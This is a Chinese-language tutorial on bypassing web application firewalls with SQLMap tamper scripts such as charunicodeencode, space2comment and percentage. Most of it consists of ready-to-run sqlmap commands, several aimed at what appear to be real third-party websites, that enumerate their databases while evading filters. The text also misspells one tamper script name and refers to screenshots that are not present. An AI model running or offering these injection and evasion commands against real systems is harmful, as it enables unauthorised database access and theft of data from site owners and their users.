WAF(web应用防火墙)逐渐成为安全解决方案的标配之一。正因为有了它,许多公司甚至已经不在意web应用的漏洞。遗憾的是,并不是所有的waf都是不可绕过的!本文将向大家讲述,如何使用注入神器SQLMap绕过WAFs/IDSs。 svn下载最新版本的sqlmap svn checkout https://svn.sqlmap.org/sqlmap/trunk

### 常用的SQLMAP的几个WAF绕过方法
1.WAF/​IPS/​IDS iden­ti­fied as ‘ASP.NET Re­quest­Val­i­da­tion­Mode (Mi­crosoft)’

sqlmap -u "http://member.niceloo.com/Project/ClassSearch.aspx?KeyWord=消防" --hpp -v 3 --tamper "charunicodeencode.py,charencode.py" --thread 10 --dbs

2.WAF/​IPS/​IDS iden­ti­fied as ‘Generic (Un­known)’

sqlmap -u "http://66123123.com/Goods/GoodsSearch?keyword=复印纸" --hpp -v 3 --tamper "charunicodeencode.py,charencode.py,space2comment.py" --random-agent --flush-session --hex --dbs --thread 10

3.pace2morehash.py会帮助到你来“打乱”方法函数以绕过WAF的检测。

sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms "MySQL" --technique U -p id --batch --tamper "pace2morehash.py"


由上图我们可以看到,请求中的空格被替换为URL编码后的%23randomText%0A 而CHAR(), USER(),CONCAT() 这种函数被替换为FUNCTION%23randomText%0A()

4.两个空格替换脚本:space2mssqlblank.py and space2mysqlblank.py,如下图

5.charencode.py andchardoubleencode.py是两个用来打乱编码的tamper脚本,他们在绕过不同的关键词过滤时很有作用。

6.如果web应用使用asp/asp.net开发,charunicodeencode.py和percentage.py可以帮助你逃避Waf的检测。

以上列举了一部分有代表性的tamper脚本来帮助我们绕过waf,每个脚本都有自己的使用场景,还是需要灵活使用。

7.绕过某IIS下ASP+Mysql站点使用过的sqlmap的tamper

sqlmap.py -r 1.txt -p productid --level 5 --risk 3 --hpp -v 3 --tamper charunicodeencode.py,percentage.py --flush-session --hex --dbs